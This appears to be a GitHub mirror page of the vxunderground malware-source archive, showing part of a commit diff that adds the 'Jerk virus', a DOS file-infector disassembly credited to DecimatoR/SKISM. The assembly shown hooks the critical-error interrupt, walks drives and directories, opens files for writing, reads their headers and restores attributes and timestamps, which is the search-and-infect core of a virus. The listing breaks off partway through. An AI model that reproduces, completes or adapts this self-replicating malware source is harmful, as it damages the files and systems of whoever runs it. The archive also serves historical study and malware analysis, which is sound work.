mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,796 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ JERK VIRUS ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Disassembly by ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ DecimatoR / SKISM ÛÛ
|
||||
;ÛÛ NOTE: Although this code compiles with TASM 2.0, it may not function ÛÛ
|
||||
;ÛÛ in the same manner as the original virus. Test it further. ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_1e equ 446h ; (009D:0446=10h)
|
||||
data_2e equ 2Ch ; (8344:002C=0)
|
||||
data_3e equ 80h ; (8344:0080=0)
|
||||
data_22e equ 55Ch ; (8344:055C=0)
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
super proc far
|
||||
|
||||
start:
|
||||
call sub_1 ; (010A)
|
||||
dec bp
|
||||
;* jnz loc_3 ;*Jump if not zero
|
||||
db 75h, 72h
|
||||
jo loc_2 ; Jump if overflow=1
|
||||
jns $-6Eh ; Jump if not sign
|
||||
|
||||
super endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near
|
||||
jmp short loc_1 ; (0115)
|
||||
db 0CDh, 20h
|
||||
data_7 dw 9090h, 9090h, 9090h
|
||||
db 90h
|
||||
loc_1:
|
||||
cld ; Clear direction
|
||||
pushf ; Push flags
|
||||
call sub_2 ; (0132)
|
||||
call sub_6 ; (01B1)
|
||||
call sub_4 ; (0188)
|
||||
call sub_28 ; (0491)
|
||||
call sub_27 ; (041B)
|
||||
call sub_5 ; (01A0)
|
||||
popf ; Pop flags
|
||||
pop bp
|
||||
mov bp,100h
|
||||
push bp
|
||||
xor bp,bp ; Zero register
|
||||
retn
|
||||
sub_1 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near
|
||||
call sub_3 ; (017E)
|
||||
mov ax,3524h
|
||||
int 21h ; DOS Services ah=function 35h
|
||||
; get intrpt vector al in es:bx
|
||||
mov di,offset ds:[4F4h] ; (8344:04F4=79h)
|
||||
mov [bp+di],bx
|
||||
mov [bp+di],es
|
||||
push cs
|
||||
pop es
|
||||
mov ax,2524h
|
||||
mov dx,offset int_24h_entry
|
||||
add dx,bp
|
||||
int 21h ; DOS Services ah=function 25h
|
||||
; set intrpt vector al to ds:dx
|
||||
mov ax,3301h
|
||||
xor dl,dl ; Zero register
|
||||
int 21h ; DOS Services ah=function 33h
|
||||
; ctrl-break flag al=off/on
|
||||
mov si,offset ds:[10Bh] ; (8344:010B=9)
|
||||
add si,bp
|
||||
mov cx,9
|
||||
mov di,offset ds:[100h] ; (8344:0100=0E8h)
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
mov ah,1Ah
|
||||
mov dx,offset data_21 ; (8344:053E=0)
|
||||
add dx,bp
|
||||
mov [bp+294h],dx
|
||||
int 21h ; DOS Services ah=function 1Ah
|
||||
; set DTA to ds:dx
|
||||
mov ah,19h
|
||||
loc_2:
|
||||
int 21h ; DOS Services ah=function 19h
|
||||
; get default drive al (0=a:)
|
||||
mov [bp+4F8h],al
|
||||
mov bx,0FFFFh
|
||||
mov [bp+53Ch],bx
|
||||
retn
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_3:
|
||||
pop bp
|
||||
push bp
|
||||
sub bp,134h
|
||||
sub_2 endp
|
||||
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;
|
||||
; External Entry Point
|
||||
;
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
int_24h_entry proc far
|
||||
retn
|
||||
int_24h_entry endp
|
||||
|
||||
db 32h,0C0h,0CFh
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_4 proc near
|
||||
mov ah,1Ah
|
||||
mov dx,data_3e ; (8344:0080=0)
|
||||
int 21h ; DOS Services ah=function 1Ah
|
||||
; set DTA to ds:dx
|
||||
call sub_7 ; (01DF)
|
||||
mov ax,2524h
|
||||
mov si,offset ds:[4F4h] ; (8344:04F4=79h)
|
||||
lds dx,dword ptr [bp+si] ; Load 32 bit ptr
|
||||
int 21h ; DOS Services ah=function 25h
|
||||
; set intrpt vector al to ds:dx
|
||||
call sub_5 ; (01A0)
|
||||
retn
|
||||
sub_4 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_5 proc near
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
xor ax,ax ; Zero register
|
||||
xor bx,bx ; Zero register
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
xor si,si ; Zero register
|
||||
xor di,di ; Zero register
|
||||
retn
|
||||
sub_5 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_6 proc near
|
||||
call sub_7 ; (01DF)
|
||||
xor ah,ah ; Zero register
|
||||
mov cx,ax
|
||||
mov dh,al
|
||||
|
||||
locloop_4:
|
||||
or dl,dl ; Zero ?
|
||||
jnz loc_5 ; Jump if not zero
|
||||
mov dl,dh
|
||||
loc_5:
|
||||
call sub_8 ; (01E8)
|
||||
dec dl
|
||||
jnc loc_6 ; Jump if carry=0
|
||||
loop locloop_4 ; Loop if cx > 0
|
||||
|
||||
jmp short loc_ret_8 ; (01DE)
|
||||
loc_6:
|
||||
dec cx
|
||||
jz loc_7 ; Jump if zero
|
||||
call sub_9 ; (021F)
|
||||
jnc loc_ret_8 ; Jump if carry=0
|
||||
call sub_7 ; (01DF)
|
||||
call sub_8 ; (01E8)
|
||||
jc loc_ret_8 ; Jump if carry Set
|
||||
loc_7:
|
||||
call sub_9 ; (021F)
|
||||
|
||||
loc_ret_8:
|
||||
retn
|
||||
sub_6 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_7 proc near
|
||||
mov ah,0Eh
|
||||
mov dl,[bp+4F8h]
|
||||
int 21h ; DOS Services ah=function 0Eh
|
||||
; set default drive dl (0=a:)
|
||||
retn
|
||||
sub_7 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_8 proc near
|
||||
push cx
|
||||
push dx
|
||||
mov ah,36h ; '6'
|
||||
int 21h ; DOS Services ah=function 36h
|
||||
; get free space, drive dl,1=a:
|
||||
cmp ax,0FFFFh
|
||||
je loc_10 ; Jump if equal
|
||||
mul cx ; dx:ax = reg * ax
|
||||
mul bx ; dx:ax = reg * ax
|
||||
cmp ax,800h
|
||||
jae loc_9 ; Jump if above or =
|
||||
or dx,dx ; Zero ?
|
||||
jz loc_10 ; Jump if zero
|
||||
loc_9:
|
||||
pop dx
|
||||
push dx
|
||||
dec dl
|
||||
mov ah,0Eh
|
||||
int 21h ; DOS Services ah=function 0Eh
|
||||
; set default drive dl (0=a:)
|
||||
mov ah,5Bh ; '['
|
||||
xor cx,cx ; Zero register
|
||||
mov dx,offset data_15+3 ; (8344:04FF=0)
|
||||
add dx,bp
|
||||
int 21h ; DOS Services ah=function 5Bh
|
||||
; create new file, name @ ds:dx
|
||||
jc loc_11 ; Jump if carry Set
|
||||
mov ah,41h ; 'A'
|
||||
int 21h ; DOS Services ah=function 41h
|
||||
; delete file, name @ ds:dx
|
||||
jmp short loc_11 ; (021C)
|
||||
loc_10:
|
||||
stc ; Set carry flag
|
||||
loc_11:
|
||||
pop dx
|
||||
pop cx
|
||||
retn
|
||||
sub_8 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_9 proc near
|
||||
call sub_13 ; (0297)
|
||||
mov ah,3Bh ; ';'
|
||||
mov dx,offset ds:[4F9h] ; (8344:04F9=2)
|
||||
add dx,bp
|
||||
int 21h ; DOS Services ah=function 3Bh
|
||||
; set current dir, path @ ds:dx
|
||||
call sub_10 ; (0232)
|
||||
call sub_14 ; (02AB)
|
||||
retn
|
||||
sub_9 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_10 proc near
|
||||
call sub_11 ; (025E)
|
||||
jc loc_ret_14 ; Jump if carry Set
|
||||
call sub_13 ; (0297)
|
||||
call sub_18 ; (02EE)
|
||||
jnc loc_13 ; Jump if carry=0
|
||||
call sub_15 ; (02B8)
|
||||
jc loc_13 ; Jump if carry Set
|
||||
loc_12:
|
||||
mov ah,3Bh ; ';'
|
||||
mov dx,data_22e ; (8344:055C=0)
|
||||
add dx,bp
|
||||
int 21h ; DOS Services ah=function 3Bh
|
||||
; set current dir, path @ ds:dx
|
||||
call sub_10 ; (0232)
|
||||
jnc loc_13 ; Jump if carry=0
|
||||
call sub_14 ; (02AB)
|
||||
call sub_16 ; (02D7)
|
||||
jnc loc_12 ; Jump if carry=0
|
||||
loc_13:
|
||||
call sub_12 ; (027C)
|
||||
|
||||
loc_ret_14:
|
||||
retn
|
||||
sub_10 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_11 proc near
|
||||
mov di,[bp+294h]
|
||||
cmp di,0FA00h
|
||||
cmc ; Complement carry
|
||||
jc loc_ret_15 ; Jump if carry Set
|
||||
add di,offset ds:[100h] ; (8344:0100=0E8h)
|
||||
mov [bp+294h],di
|
||||
mov si,offset data_21 ; (8344:053E=0)
|
||||
add si,bp
|
||||
mov cx,80h
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
|
||||
loc_ret_15:
|
||||
retn
|
||||
sub_11 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_12 proc near
|
||||
pushf ; Push flags
|
||||
mov si,[bp+294h]
|
||||
sub si,100h
|
||||
xchg si,[bp+294h]
|
||||
mov di,offset data_21 ; (8344:053E=0)
|
||||
add di,bp
|
||||
mov cx,80h
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
popf ; Pop flags
|
||||
retn
|
||||
sub_12 endp
|
||||
|
||||
db 0F1h, 69h
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_13 proc near
|
||||
mov di,[bp+294h]
|
||||
add di,data_3e ; (8344:0080=0)
|
||||
mov al,5Ch ; '\'
|
||||
stosb ; Store al to es:[di]
|
||||
mov ah,47h ; 'G'
|
||||
mov si,di
|
||||
xor dl,dl ; Zero register
|
||||
int 21h ; DOS Services ah=function 47h
|
||||
; get present dir,drive dl,1=a:
|
||||
retn
|
||||
sub_13 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_14 proc near
|
||||
mov ah,3Bh ; ';'
|
||||
mov dx,[bp+294h]
|
||||
add dx,data_3e ; (8344:0080=0)
|
||||
int 21h ; DOS Services ah=function 3Bh
|
||||
; set current dir, path @ ds:dx
|
||||
retn
|
||||
sub_14 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_15 proc near
|
||||
mov cx,12h
|
||||
mov dx,offset ds:[4FBh] ; (8344:04FB=0)
|
||||
call sub_20 ; (0343)
|
||||
jc loc_ret_18 ; Jump if carry Set
|
||||
call sub_17 ; (02E0)
|
||||
loc_16:
|
||||
jc loc_ret_18 ; Jump if carry Set
|
||||
mov al,2Eh ; '.'
|
||||
cmp al,[bp+55Ch]
|
||||
jne loc_17 ; Jump if not equal
|
||||
call sub_16 ; (02D7)
|
||||
jmp short loc_16 ; (02C6)
|
||||
loc_17:
|
||||
clc ; Clear carry flag
|
||||
|
||||
loc_ret_18:
|
||||
retn
|
||||
sub_15 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_16 proc near
|
||||
call sub_21 ; (034A)
|
||||
jc loc_ret_19 ; Jump if carry Set
|
||||
call sub_17 ; (02E0)
|
||||
|
||||
loc_ret_19:
|
||||
retn
|
||||
sub_16 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_17 proc near
|
||||
mov cl,10h
|
||||
loc_20:
|
||||
test cl,[bp+553h]
|
||||
jnz loc_ret_21 ; Jump if not zero
|
||||
call sub_21 ; (034A)
|
||||
jnc loc_20 ; Jump if carry=0
|
||||
|
||||
loc_ret_21:
|
||||
retn
|
||||
sub_17 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_18 proc near
|
||||
push word ptr [bp+4EAh]
|
||||
mov dx,offset data_15+0Dh ; (8344:0509=0)
|
||||
xor al,al ; Zero register
|
||||
call sub_19 ; (0313)
|
||||
jnc loc_22 ; Jump if carry=0
|
||||
mov dx,offset data_15+19h ; (8344:0515=0)
|
||||
xor al,al ; Zero register
|
||||
call sub_19 ; (0313)
|
||||
jnc loc_22 ; Jump if carry=0
|
||||
mov dx,offset data_15+1Fh ; (8344:051B=0)
|
||||
mov al,0FFh
|
||||
call sub_19 ; (0313)
|
||||
loc_22:
|
||||
pop word ptr [bp+4EAh]
|
||||
retn
|
||||
sub_18 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_19 proc near
|
||||
mov [bp+4EAh],al
|
||||
mov cx,23h
|
||||
call sub_20 ; (0343)
|
||||
jc loc_ret_27 ; Jump if carry Set
|
||||
mov cx,3
|
||||
loc_23:
|
||||
loop locloop_24 ; Loop if cx > 0
|
||||
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
|
||||
locloop_24:
|
||||
call sub_22 ; (034F)
|
||||
jc loc_25 ; Jump if carry Set
|
||||
call sub_25 ; (03A9)
|
||||
jc loc_25 ; Jump if carry Set
|
||||
call sub_26 ; (03DF)
|
||||
jmp short loc_26 ; (033E)
|
||||
loc_25:
|
||||
call sub_23 ; (0371)
|
||||
call sub_21 ; (034A)
|
||||
jnc loc_23 ; Jump if carry=0
|
||||
retn
|
||||
loc_26:
|
||||
call sub_23 ; (0371)
|
||||
clc ; Clear carry flag
|
||||
|
||||
loc_ret_27:
|
||||
retn
|
||||
sub_19 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_20 proc near
|
||||
mov ah,4Eh ; 'N'
|
||||
add dx,bp
|
||||
int 21h ; DOS Services ah=function 4Eh
|
||||
; find 1st filenam match @ds:dx
|
||||
retn
|
||||
sub_20 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_21 proc near
|
||||
mov ah,4Fh ; 'O'
|
||||
int 21h ; DOS Services ah=function 4Fh
|
||||
; find next filename match
|
||||
retn
|
||||
sub_21 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_22 proc near
|
||||
push cx
|
||||
xor ax,ax ; Zero register
|
||||
cmp ax,[bp+55Ah]
|
||||
jb loc_28 ; Jump if below
|
||||
mov ax,0F000h
|
||||
cmp ax,[bp+558h]
|
||||
jb loc_28 ; Jump if below
|
||||
mov ax,9
|
||||
cmp [bp+558h],ax
|
||||
jb loc_28 ; Jump if below
|
||||
mov cl,0
|
||||
call sub_24 ; (039C)
|
||||
loc_28:
|
||||
pop cx
|
||||
retn
|
||||
sub_22 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_23 proc near
|
||||
push cx
|
||||
mov bx,[bp+53Ch]
|
||||
cmp bx,0FFFFh
|
||||
je loc_29 ; Jump if equal
|
||||
mov ax,5701h
|
||||
mov cx,[bp+554h]
|
||||
mov dx,[bp+556h]
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; get/set file date & time
|
||||
mov ah,3Eh ; '>'
|
||||
int 21h ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
mov bx,0FFFFh
|
||||
mov [bp+53Ch],bx
|
||||
loc_29:
|
||||
mov cl,[bp+553h]
|
||||
call sub_24 ; (039C)
|
||||
pop cx
|
||||
retn
|
||||
sub_23 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_24 proc near
|
||||
mov ax,4301h
|
||||
xor ch,ch ; Zero register
|
||||
mov dx,data_22e ; (8344:055C=0)
|
||||
add dx,bp
|
||||
int 21h ; DOS Services ah=function 43h
|
||||
; get/set file attrb, nam@ds:dx
|
||||
retn
|
||||
sub_24 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_25 proc near
|
||||
push cx
|
||||
mov dx,data_22e ; (8344:055C=0)
|
||||
add dx,bp
|
||||
mov ax,3D02h
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
jc loc_30 ; Jump if carry Set
|
||||
mov [bp+53Ch],ax
|
||||
mov dx,offset ds:[10Bh] ; (8344:010B=9)
|
||||
add dx,bp
|
||||
mov cx,9
|
||||
mov bx,ax
|
||||
mov ah,3Fh ; '?'
|
||||
int 21h ; DOS Services ah=function 3Fh
|
||||
; read file, cx=bytes, to ds:dx
|
||||
mov cx,6
|
||||
mov si,offset ds:[4EEh] ; (8344:04EE=0)
|
||||
add si,bp
|
||||
mov di,offset data_7 ; (8344:010E=90h)
|
||||
add di,bp
|
||||
